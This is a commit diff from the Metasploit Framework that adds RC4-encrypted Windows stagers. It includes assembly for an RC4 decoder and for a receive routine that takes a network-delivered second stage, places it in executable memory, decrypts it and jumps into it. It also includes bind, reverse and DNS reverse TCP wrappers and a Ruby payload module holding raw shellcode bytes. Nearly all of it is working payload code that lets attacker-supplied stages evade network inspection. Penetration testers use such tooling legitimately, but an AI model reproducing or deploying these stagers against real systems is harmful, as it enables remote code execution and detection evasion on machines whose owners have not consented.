Skip to content

Commit e3eef76

Browse files
committed
This adds rc4-encrypting stagers for Windows. [Closes rapid7#1223]
2 parents 6a5d318 + 6c98098 commit e3eef76

File tree

10 files changed

+580
-1
lines changed

10 files changed

+580
-1
lines changed

external/source/shellcode/windows/x86/build.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,13 +75,15 @@ def xmit( name, dump_ruby=True ):
7575
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
7676
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
7777
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
78+
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
79+
xmit_offset( data, "XORKey", "XORK") # XOR key
7880
if( name.find( "egghunter" ) >= 0 ):
7981
null_count = data.count( "\x00" )
8082
if( null_count > 0 ):
8183
print "# Note: %d NULL bytes found." % ( null_count )
8284
if dump_ruby:
8385
xmit_dump_ruby( data )
84-
#=============================================================================#
86+
#=============================================================================#
8587
def main( argv=None ):
8688
if not argv:
8789
argv = sys.argv
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Michael Schierl (schierlm[at]gmx[dot]de)
3+
; Version: 1.0 (29 December 2012)
4+
;-----------------------------------------------------------------------------;
5+
[BITS 32]
6+
7+
; Input: EBP - Data to decode
8+
; ECX - Data length
9+
; ESI - Key (16 bytes for simplicity)
10+
; EDI - pointer to 0x100 bytes scratch space for S-box
11+
; Direction flag has to be cleared
12+
; Output: None. Data is decoded in place.
13+
; Clobbers: EAX, EBX, ECX, EDX, EBP (stack is not used)
14+
15+
; Initialize S-box
16+
xor eax, eax ; Start with 0
17+
init:
18+
stosb ; Store next S-Box byte S[i] = i
19+
inc al ; increase byte to write (EDI is increased automatically)
20+
jnz init ; loop until we wrap around
21+
sub edi, 0x100 ; restore EDI
22+
23+
; permute S-box according to key
24+
xor ebx, ebx ; Clear EBX (EAX is already cleared)
25+
permute:
26+
add bl, [edi+eax] ; BL += S[AL] + KEY[AL % 16]
27+
mov edx, eax
28+
and dl, 0xF
29+
add bl, [esi+edx]
30+
mov dl, [edi+eax] ; swap S[AL] and S[BL]
31+
xchg dl, [edi+ebx]
32+
mov [edi+eax], dl
33+
inc al ; AL += 1 until we wrap around
34+
jnz permute
35+
36+
37+
; decryption loop
38+
xor ebx, ebx ; Clear EBX (EAX is already cleared)
39+
decrypt:
40+
inc al ; AL += 1
41+
add bl, [edi+eax] ; BL += S[AL]
42+
mov dl, [edi+eax] ; swap S[AL] and S[BL]
43+
xchg dl, [edi+ebx]
44+
mov [edi+eax], dl
45+
add dl, [edi+ebx] ; DL = S[AL]+S[BL]
46+
mov dl, [edi+edx] ; DL = S[DL]
47+
xor [ebp], dl ; [EBP] ^= DL
48+
inc ebp ; advance data pointer
49+
dec ecx ; reduce counter
50+
jnz decrypt ; until finished
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (31 December 2012)
6+
;-----------------------------------------------------------------------------;
7+
[BITS 32]
8+
9+
; Same as block_recv, only that the length will be XORed and the stage will be RC4 decoded.
10+
; Differences to block_recv are indented two more spaces.
11+
12+
; Compatible: block_bind_tcp, block_reverse_tcp
13+
14+
; Input: EBP must be the address of 'api_call'. EDI must be the socket. ESI is a pointer on stack.
15+
; Output: None.
16+
; Clobbers: EAX, EBX, ECX, EDX, ESI, (ESP will also be modified)
17+
18+
recv:
19+
; Receive the size of the incoming second stage...
20+
push byte 0 ; flags
21+
push byte 4 ; length = sizeof( DWORD );
22+
push esi ; the 4 byte buffer on the stack to hold the second stage length
23+
push edi ; the saved socket
24+
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
25+
call ebp ; recv( s, &dwLength, 4, 0 );
26+
; Alloc a RWX buffer for the second stage
27+
mov esi, [esi] ; dereference the pointer to the second stage length
28+
xor esi, "XORK" ; XOR the stage length
29+
lea ecx, [esi+0x00] ; ECX = stage length + S-box length (alloc length)
30+
push byte 0x40 ; PAGE_EXECUTE_READWRITE
31+
push 0x1000 ; MEM_COMMIT
32+
; push esi ; push the newly recieved second stage length.
33+
push ecx ; push the alloc length
34+
push byte 0 ; NULL as we dont care where the allocation is.
35+
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
36+
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
37+
; Receive the second stage and execute it...
38+
; xchg ebx, eax ; ebx = our new memory address for the new stage + S-box
39+
lea ebx, [eax+0x100] ; EBX = new stage address
40+
push ebx ; push the address of the new stage so we can return into it
41+
push esi ; push stage length
42+
push eax ; push the address of the S-box
43+
read_more: ;
44+
push byte 0 ; flags
45+
push esi ; length
46+
push ebx ; the current address into our second stage's RWX buffer
47+
push edi ; the saved socket
48+
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
49+
call ebp ; recv( s, buffer, length, 0 );
50+
add ebx, eax ; buffer += bytes_received
51+
sub esi, eax ; length -= bytes_received
52+
test esi, esi ; test length
53+
jnz read_more ; continue if we have more to read
54+
pop ebx ; address of S-box
55+
pop ecx ; stage length
56+
pop ebp ; address of stage
57+
push ebp ; push back so we can return into it
58+
push edi ; save socket
59+
mov edi, ebx ; address of S-box
60+
call after_key ; Call after_key, this pushes the address of the key onto the stack.
61+
db "RC4KeyMetasploit"
62+
after_key:
63+
pop esi ; ESI = RC4 key
64+
%include "./src/block/block_rc4.asm"
65+
pop edi ; restore socket
66+
ret ; return into the second stage
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (31 December 2012)
6+
; Size: 413 bytes
7+
; Build: >build.py stager_bind_tcp_rc4
8+
;-----------------------------------------------------------------------------;
9+
[BITS 32]
10+
[ORG 0]
11+
12+
cld ; Clear the direction flag.
13+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
14+
%include "./src/block/block_api.asm"
15+
start: ;
16+
pop ebp ; pop off the address of 'api_call' for calling later.
17+
%include "./src/block/block_bind_tcp.asm"
18+
; By here we will have performed the bind_tcp connection and EDI will be our socket.
19+
%include "./src/block/block_recv_rc4.asm"
20+
; By now we will have received in the second stage into a RWX buffer and be executing it
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (31 December 2012)
6+
; Size: 405 bytes
7+
; Build: >build.py stager_reverse_tcp_rc4
8+
;-----------------------------------------------------------------------------;
9+
10+
[BITS 32]
11+
[ORG 0]
12+
13+
cld ; Clear the direction flag.
14+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
15+
%include "./src/block/block_api.asm"
16+
start: ;
17+
pop ebp ; pop off the address of 'api_call' for calling later.
18+
%include "./src/block/block_reverse_tcp.asm"
19+
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
20+
%include "./src/block/block_recv_rc4.asm"
21+
; By now we will have recieved in the second stage into a RWX buffer and be executing it
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support]
4+
; Boris Lukashev (rageltman[at]sempervictus) [DNS support]
5+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
6+
; Version: 1.0 (31 December 2012)
7+
; Size: 405 bytes
8+
; Build: >build.py stager_reverse_tcp_rc4_dns
9+
;-----------------------------------------------------------------------------;
10+
11+
[BITS 32]
12+
[ORG 0]
13+
14+
cld ; Clear the direction flag.
15+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
16+
%include "./src/block/block_api.asm"
17+
start: ;
18+
pop ebp ; pop off the address of 'api_call' for calling later.
19+
%include "./src/block/block_reverse_tcp_dns.asm"
20+
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
21+
%include "./src/block/block_recv_rc4.asm"
22+
; By now we will have recieved in the second stage into a RWX buffer and be executing it
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Michael Schierl (schierlm[at]gmx[dot]de)
3+
; Version: 1.0 (29 December 2012)
4+
;-----------------------------------------------------------------------------;
5+
6+
;
7+
; c1 = OpenSSL::Cipher::Cipher.new('RC4')
8+
; c1.encrypt
9+
; c1.key="Hello, my world!"
10+
; c1.update("This is some magic data you may want to have encoded and decoded again").unpack("H*")
11+
;
12+
; => "882353c5de0f5e6b10bf0d25c432c5d16424dc797e895f37f261c893b31d577e7e69f77e07aa576d58c7f757164e7d74988feb10f972b28dcfa1e3a2b1cc0b0fa1a8b116294b"
13+
;
14+
; c1 = OpenSSL::Cipher::Cipher.new('RC4')
15+
; c1.decrypt
16+
; c1.key="Hello, my world!"
17+
; c1.update(["882353c5de0f5e6b10bf0d25c432c5d16424dc797e895f37f261c893b31d577e7e69f77e07aa576d58c7f757164e7d74988feb10f972b28dcfa1e3a2b1cc0b0fa1a8b116294b"].pack("H*"))
18+
;
19+
; => "This is some magic data you may want to have encoded and decoded again"
20+
;
21+
22+
[BITS 32]
23+
[ORG 0]
24+
25+
cld ; Clear the direction flag.
26+
call pushkey ; push the address of the key onto the stack
27+
db "Hello, my world!"
28+
pushkey:
29+
pop esi ; and store it into ESI
30+
call pushdata ; push the address of the encrypted data on the stack
31+
db 0x88, 0x23, 0x53, 0xc5, 0xde, 0x0f, 0x5e, 0x6b, 0x10, 0xbf, 0x0d, 0x25, 0xc4, 0x32, 0xc5, 0xd1, 0x64, 0x24, 0xdc, 0x79, 0x7e, 0x89, 0x5f, 0x37, 0xf2, 0x61, 0xc8, 0x93, 0xb3, 0x1d, 0x57, 0x7e, 0x7e, 0x69, 0xf7, 0x7e, 0x07, 0xaa, 0x57, 0x6d, 0x58, 0xc7, 0xf7, 0x57, 0x16, 0x4e, 0x7d, 0x74, 0x98, 0x8f, 0xeb, 0x10, 0xf9, 0x72, 0xb2, 0x8d, 0xcf, 0xa1, 0xe3, 0xa2, 0xb1, 0xcc, 0x0b, 0x0f, 0xa1, 0xa8, 0xb1, 0x16, 0x29, 0x4b
32+
pushdata:
33+
pop ebp ; and store it into EBP
34+
mov ecx, 70 ; store data length into ECX
35+
sub esp, 0x100 ; make space on stack for S-Box
36+
mov edi, esp ; and store address into EDI
37+
nop
38+
nop
39+
nop
40+
int 3 ; for stepping through the code
41+
; let's run the RC4 decoder
42+
%include "./src/block/block_rc4.asm"
43+
int 3 ; EBP should point to decoded data now
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
# -*- coding: binary -*-
2+
##
3+
# This file is part of the Metasploit Framework and may be subject to
4+
# redistribution and commercial restrictions. Please see the Metasploit
5+
# web site for more information on licensing and terms of use.
6+
# http://metasploit.com/
7+
##
8+
9+
10+
require 'msf/core'
11+
require 'msf/core/handler/bind_tcp'
12+
13+
14+
module Metasploit3
15+
16+
include Msf::Payload::Stager
17+
include Msf::Payload::Windows
18+
19+
def self.handler_type_alias
20+
"bind_tcp_rc4"
21+
end
22+
23+
def initialize(info = {})
24+
super(merge_info(info,
25+
'Name' => 'Bind TCP Stager (RC4 stage encryption)',
26+
'Description' => 'Listen for a connection',
27+
'Author' => ['hdm', 'skape', 'sf', 'mihi'],
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'win',
30+
'Arch' => ARCH_X86,
31+
'Handler' => Msf::Handler::BindTcp,
32+
'Convention' => 'sockedi',
33+
'Stager' =>
34+
{
35+
'RequiresMidstager' => false,
36+
'Offsets' =>
37+
{
38+
'LPORT' => [ 200, 'n' ],
39+
'XORKey' => [ 260, '' ],
40+
'RC4Key' => [ 324, '' ]
41+
},
42+
'Payload' =>
43+
# Length: 411 bytes
44+
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
45+
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
46+
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
47+
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
48+
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
49+
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
50+
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
51+
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
52+
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
53+
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
54+
"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
55+
"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
56+
"\xD5\x97\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57" +
57+
"\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5" +
58+
"\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D" +
59+
"\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" +
60+
"\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00" +
61+
"\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00" +
62+
"\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" +
63+
"\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D\x55\x57\x89\xDF\xE8" +
64+
"\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70" +
65+
"\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01" +
66+
"\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A" +
67+
"\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0" +
68+
"\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A" +
69+
"\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3"
70+
}
71+
))
72+
73+
register_options([
74+
OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"])
75+
], self.class)
76+
end
77+
78+
def generate_stage
79+
p = super
80+
m = OpenSSL::Digest::Digest.new('sha1')
81+
m.reset
82+
key = m.digest(datastore["RC4PASSWORD"] || "")
83+
c1 = OpenSSL::Cipher::Cipher.new('RC4')
84+
c1.decrypt
85+
c1.key=key[4,16]
86+
p = c1.update(p)
87+
return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p
88+
end
89+
90+
def internal_generate
91+
p = super
92+
m = OpenSSL::Digest::Digest.new('sha1')
93+
m.reset
94+
key = m.digest(datastore["RC4PASSWORD"] || "")
95+
p[offsets['XORKey'][0], 4] = key[0,4]
96+
p[offsets['RC4Key'][0], 16] = key[4,16]
97+
return p
98+
end
99+
100+
def replace_var(raw, name, offset, pack)
101+
if (name == 'XORKey' or name == 'RC4Key')
102+
#will be replaced by internal_generate
103+
return true
104+
end
105+
super
106+
end
107+
108+
def handle_intermediate_stage(conn, payload)
109+
return false
110+
end
111+
end

0 commit comments

Comments
 (0)